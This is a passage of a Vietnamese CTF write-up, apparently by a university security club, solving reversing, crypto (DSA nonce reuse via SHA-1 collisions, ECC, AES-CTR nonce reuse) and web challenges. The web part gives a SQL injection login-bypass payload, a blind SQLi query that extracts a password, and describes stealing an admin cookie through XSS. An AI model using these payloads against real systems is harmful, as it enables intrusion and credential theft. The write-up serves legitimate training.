        step = -1;
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'l';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'l';
                o.push({node.node + step , trace});
            }
        }
        //case 'r':
        step = 1;
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'r';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'r';
                o.push({node.node + step , trace});
            }
        }
        //case 'u':
        step = -val;
        if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) {
            if (visited[node.node + step] == 0) {
                visited[node.node + step] = node.trace.length() + 1;
                string trace = node.trace + 'u';
                o.push({node.node + step , trace});
            }
            else if (visited[node.node + step] == node.trace.length() + 1) {
                string trace = node.trace + 'u';
                o.push({node.node + step , trace});
            }
        }
    }
}
int main() {
    bfs();
    cout << "done" << endl;
    cout << "ans: " << res.size() << endl;
    for (int i=0; i<res.size(); i++)
        cout << res[i] << endl;
    return 0;
}

Chạy thử chương trình:

Entry point

Tổng cộng có 6 kết quả, mình thử 1 trong những kết quả trên thì cuối cùng cũng ra flag.

Entry point

flag{star_/_so_bright_/_car_/_site_-ppsu}

wstrings

Challenge

Entry point

File: wstrings

Solve:

Mình bỏ thẳng vào IDA Pro chạy thử:

Entry point

Xem thử biến flag:

Entry point

flag{n0t_al1_str1ngs_ar3_sk1nny}


Crypto

GiongfNef

scissor

import random
key = random.randint(0, 25)
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))
print(''.join([
    dictionary[c]
    if c in dictionary
    else c
    for c in input()
]))

egddagzp_ftue_rxms_iuft_rxms_radymf Certainly, it’s Caesar cipher

`surround_this_flag_with_flag_format

baby

n: 228430203128652625114739053365339856393 e: 65537 c: 126721104148692049427127809839057445790

RSA? sure :v

flag{68ab82df34}

round-the-bases

9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:K0o09mTN[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN[9km7D9mTfc:..Zt9mTZ_:Jj8<

base85 – > base64 – > hex -> decimal – > octal – > binary

flag{w0w_th4t_w4s_4ll_wr4pp3d_up}

lttn

Kepper_of_the_flag

Challenge

#!/usr/local/bin/python3
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from random import *
from hashlib import sha1
rot = randint(2, 2 ** 160 - 1)
chop = getPrime(159)
def H(s):
    x = bytes_to_long(sha1(s).digest())
    return pow(x, rot, chop)
L, N = 1024, 160
dsakey = DSA.generate(1024)
p = dsakey.p
q = dsakey.q
h = randint(2, p - 2)
g = pow(h, (p - 1) // q, p)
if g == 1:
    print("oops")
    exit(1)
print(p)
print(q)
print(g)
x = randint(1, q - 1)
y = pow(g, x, p)
print(y)
def verify(r, s, m):
    if not (0 < r and r < q and 0 < s and s < q):
        return False
    w = pow(s, q - 2, q)
    u1 = (H(m) * w) % q
    u2 = (r * w) % q
    v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
    return v == r
pad = randint(1, 2 ** 160)
signed = []
for i in range(2):
    print("what would you like me to sign? in hex, please")
    m = bytes.fromhex(input())
    if m == b'give flag' or m == b'give me all your money':
        print("haha nice try...")
        exit()
    if m in signed:
        print("i already signed that!")
        exit()
    signed.append(m)
    k = (H(m) + pad + i) % q
    if k < 1:
        exit()
    r = pow(g, k, p) % q
    if r == 0:
        exit()
    s = (pow(k, q - 2, q) * (H(m) + x * r)) % q
    if s == 0:
        exit()
    print(H(m))
    print(r)
    print(s)
print("ok im done for now")
print("you visit the flag keeper...")
print("for flag, you must bring me signed message:")
print("'give flag':" + str(H(b"give flag")))
r1 = int(input())
s1 = int(input())
if verify(r1, s1, b"give flag"):
    print(open("flag.txt").readline())
else:
    print("sorry")

Đề cho ta 1 Server verify DSA. Chúng ta có thể input 2 lần khác nhau đẻ lấy 2 chữ kí và phải nhập lại chữ kí đúng của b"give flag" để có flag Thông tin chúng ta có: p, q ,g, y

Nếu chúng ta gửi 1 message lên để kí thì ta sẽ được H(m),r,s

Quan sát kĩ mọi thứ có vẻ bình thường nhưng k = (H(m) + pad + i) % q hơi khác so với 1 DSA thông thường.

Để an toàn thì k` phải thật sư ngẫu nhiên để tranh việc bị lộ private key `x` vì nếu có `k` thì sẽ dễ dàng tim được `x:

Nếu chúng ta có được x` thì dễ dàng kí được message `b'give flag'

Quay lại nhìn vào Server, Server yêu cầu nhập 2 message khác nhau nhưng k được tính bằng cách Sha1(message) + pad + i. Do pad là không đổi mỗi lần connect nên mình sẽ tìm cách nhập 2 message sao cho Sha1 của chúng giống nhau. Điều này hoàn toàn có thể vì Sha1 có collision và mình tìm thấy ở shatted.io 2 file pdf có cùng sha1. Download file về và dùng nó để làm 2 message gửi lên server :) Lúc này ta thấy H(message1) = H(message2) = > k1+1=k2

Ta sẽ có:

Lúc này tìm sẽ tìm lại được k1` và dễ dàng tim lại `x theo công thức phía trên.

Có được x` cứ tính `r``s` theo công thức ở Server cho là sẽ kí được `b'give flag'

full_script

blecc

Challenge

Đề bài cho ta 1 file:

p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 15579091807671783999)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.

Thấy đây tham số của 1 ECC với 2 điểm P và Q.

Vì order của đường cong không lớn và có thể factor ra nhiều số nguyên tố nhỏ hơn nên ta có thể dễ tính d = discrete_log() của sage.

Nhưng khi tạo các điểm thì:

Điểm G không thể tạo được vì không nằm trong đường cong. Mình nghĩ đề cố tình cho sai điểm G nên mình sẽ tìm lại điểm G đúng.

Mình thử tìm là Gy từ Gx bằng lift_x() thì may mắn là đúng điểm G cần tim

scrambled-elgs

Challengeg

Đề cho ta 1 file generate.sage và 1 file output.json

#!/usr/bin/env sage
import secrets
import json
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.combinat import permutation
n = 25_000
Sn = SymmetricGroup(n)
def pad(M):
    padding = long_to_bytes(secrets.randbelow(factorial(n)))
    padded = padding[:-len(M)] + M
    return bytes_to_long(padded)
#Prepare the flag
with open('flag.txt','r') as flag:
    M = flag.read().strip().encode()
m = Sn(permutation.from_rank(n,pad(M)))
#Scramble the elgs
g = Sn.random_element()
a = secrets.randbelow(int(g.order()))
h = g^a
pub = (g, h)
#Encrypt using scrambled elgs
g, h = pub
k = secrets.randbelow(n)
t1 = g^k
t2 = m*h^k
ct = (t1,t2)
#Provide public key and ciphertext
with open('output.json','w') as f:
    json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)

Đề khởi tạo SymmetricGroup với n = 25000 cùng với m là element có rank là pad(flag), và cho ta g, h ,t1 ,t2

Quan sát đoạn

k = secrets.randbelow(n)
t1 = g^k
t2 = m*h^k

Vì range của k` khá bé nên mình brute force để tìm k thõa mãn `t1 = g^k` từ đó tim lại m bằng cách lấy `t1*h^-k

for k in range(n):
    if t1==g^k:
        break
m=t2*(h^-k)

Lúc này chỉ cần tìm được rank của m là sẽ tìm lại được flag.

Mình loay hoay tìm xem có hàm nào trong sage có thể tìm được rank của m không, nhưng mà tìm hòai mà không ra được :(

Sau 1 lúc tìm thì mình thấy decoder.fr có 1 đoạn hướng dẫn tìm rank như sau:

Tìm rank theo công thức trên và có flag:)

full_script

yahtzee

Challenge

#!/usr/local/bin/python
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from random import randint
from binascii import hexlify
with open('flag.txt','r') as f:
    flag = f.read().strip()
with open('keyfile','rb') as f:
    key = f.read()
    assert len(key)==32
'''
Pseudorandom number generators are weak!
True randomness comes from phyisical objects, like dice!
'''
class TrueRNG:
    @staticmethod
    def die():
        return randint(1, 6)
    @staticmethod
    def yahtzee(N):
        dice = [TrueRNG.die() for n in range(N)]
        return sum(dice)
    def __init__(self, num_dice):
        self.rolls = num_dice
    def next(self):
        return TrueRNG.yahtzee(self.rolls)
def encrypt(message, key, true_rng):
    nonce = true_rng.next()
    cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
    return cipher.encrypt(message)
'''
Stick the flag in a random quote!
'''
def random_message():
    NUM_QUOTES = 25
    quote_idx = randint(0,NUM_QUOTES-1)
    with open('quotes.txt','r') as f:
        for idx, line in enumerate(f):
            if idx == quote_idx:
                quote = line.strip().split()
                break
    quote.insert(randint(0, len(quote)), flag)
    return ' '.join(quote)
banner = '''
============================================================================
=            Welcome to the yahtzee message encryption service.            =
=  We use top-of-the-line TRUE random number generators... dice in a cup!  =
============================================================================
Would you like some samples?
'''
prompt = "Would you like some more samples, or are you ready to 'quit'?\n"
if __name__ == '__main__':
    NUM_DICE = 2
    true_rng = TrueRNG(NUM_DICE)
    inp      = input(banner)
    while 'quit' not in inp.lower():
        message = random_message().encode()
        encrypted = encrypt(message, key, true_rng)
        print('Ciphertext:', hexlify(encrypted).decode())
        inp = input(prompt)

Mõi lần ta input thì server sẽ trả về AES-CTR encrypt của ouput random_message() với key là không đổi và nonce là output của TrueRNG

Phân tích 1 chút :

Ý tưởng

Vì next() chỉ trả về từ 0 -> 12 và chỉ có 25 quotes thôi nên mình có thể brute force request thật nhiều lên Server để nhận lại nhiều output. Lúc này trong cái đống output ấy cũng sẽ có cái được encrypt chung 1 key (random ra cùng 1 nonce) và được lấy từ chung quotes :)

Check thử thì thấy các output có tổng cộng 25 độ dài khác nhau, vậy tức là không có quotes nào có chung độ dài ( AES-CTR encrypt không làm thay đổi độ dài),nên dễ dàng biết cái nào la encrypt của chung 1 quotes

Tiếp theo xor 2 quotes có cùng độ dài với nhau, nếu ra được nhiều b'\x00' thì chúng được mã hóa chung 1 key. Lúc này sẽ có 1 không phải b'\x00' vì đoạn này chinh là flag đã được chèn vào.

Lúc này với mỗi quotes ban đầu ta có được các ouput của quotes ấy được encrypt với cùng 1 key

Mình sẽ gọi quotes ban đầu từ quotes1 -> quotes25 cho dễ hiểu nhé

Bây giờ giá sử với quotes1 mình sẽ chọn 2 ouput đã tìm được ở trên được mã hóa cùng 1 key. Xor 2 ouput ấy sẽ ra được rất nhiều b'\x00' và có 1 đoạn không phải b'\x00' mình tam gọi đoạn này là xored1

Lúc này xored1 = flag xor 1 đoạn của quotes1`, vì mình biết được flag format là `flag{` nên mình xor `xored1` với `flag{, lúc này mình sẽ ra được 5 chữ cái english nào đó có thể thành từ được ( vì là quotes mà :) ) rồi sau đó tiếp tục đoán xem các chữ cái tiếp theo là gì và xor ngược lại với xored1để tìm được các kí tự tiếp theo của flag:

Ví dụ 'flag{' ^ xored1 = 'You c'` thì mình đoán chữ ấy có thể là `You can ` , rồi lại lấy ` You can ` xor ngược lại `xored1` . Cứ làm như thế đến khi không đoán được nữa thì chuyển qua làm với `xored2 ( tương tự xored1 nhưng với quotes2) , lúc này không cần làm lại tmà cứ lấy đoạn flag vừa tìm được để xor và tìm các kí tự tiếp theo, đén khi không đoán được thì lại chuyển sang quotes khác ...

Làm như thế đến khi nào ra flag thì dừng :)

Vì bài này mình làm đa số bằng tay nên mình chỉ ghi lại ý tưởng thôi nha :D


WEB

darkmode

inspect-me

View source -> find string flag and we got: flag{inspect_me_like_123}

orm-bad

Payload : username=%27+or+1--&password=

cool

In this chall, we must brute ginkoid password to get flag

In endpoint /register, the password is not filter, so we can control it to blind sqli

How to blind?

I use this payload || substr((SELECT password FROM users),1,1) || “||” is concatenate operator Ex: “a” || “b”→“ab” The query like this:

Select password from users will fetch all password in database and first 32 character will be ginkoid password User “a” will hold first character from ginkoid pass Solution:

mtiennnnn

Pastebin-1

Một bài XSS cơ bản. Đề cho 2 web 1 để create paste và 1 admin bot

Ở create paste, thêm là mình đã có thể thực thi code JS

Lấy admin cookie thôi

Mình sẽ dùng request bin để đọc

Gửi url cho admin bot và xem trong request bin là thấy flag

flag{d1dn7_n33d_70_b3_1n_ru57} Bài này mình làm có tham khảo từ đây

Secure

Đề cho 1 form sign in

Mình thử đăng nhập và thu được là username và password bị encode theo base64 khi đăng nhập

Từ hình trên thì biết được mình có thể dùng sql injection

Vì username hay password đều bị encode nên mình sẽ dùng curl để request

flag{50m37h1n6_50m37h1n6_cl13n7_n07_600d}

TIN LIÊN QUAN
The Wanna.One Cyber Security Club shares writeup of some solved Challenges with the purpose of academic exchanges. We always welcome and look forward to comments from any of you via email: wannaone.uit@gmail.com FWORD CTF 2021: https://ctftime.org/event/1405 Sat, 28 Aug. 2021, 00:00 ICT — Sun, 29 Aug. 2021, 12:00 ICT Author:...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab. Mochi Nishi vaudeville Description Info: The Dramatis Personae invite...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và thông qua fanpage: fb.com/inseclab. lttn Symbol Ta dễ dàng thấy đây...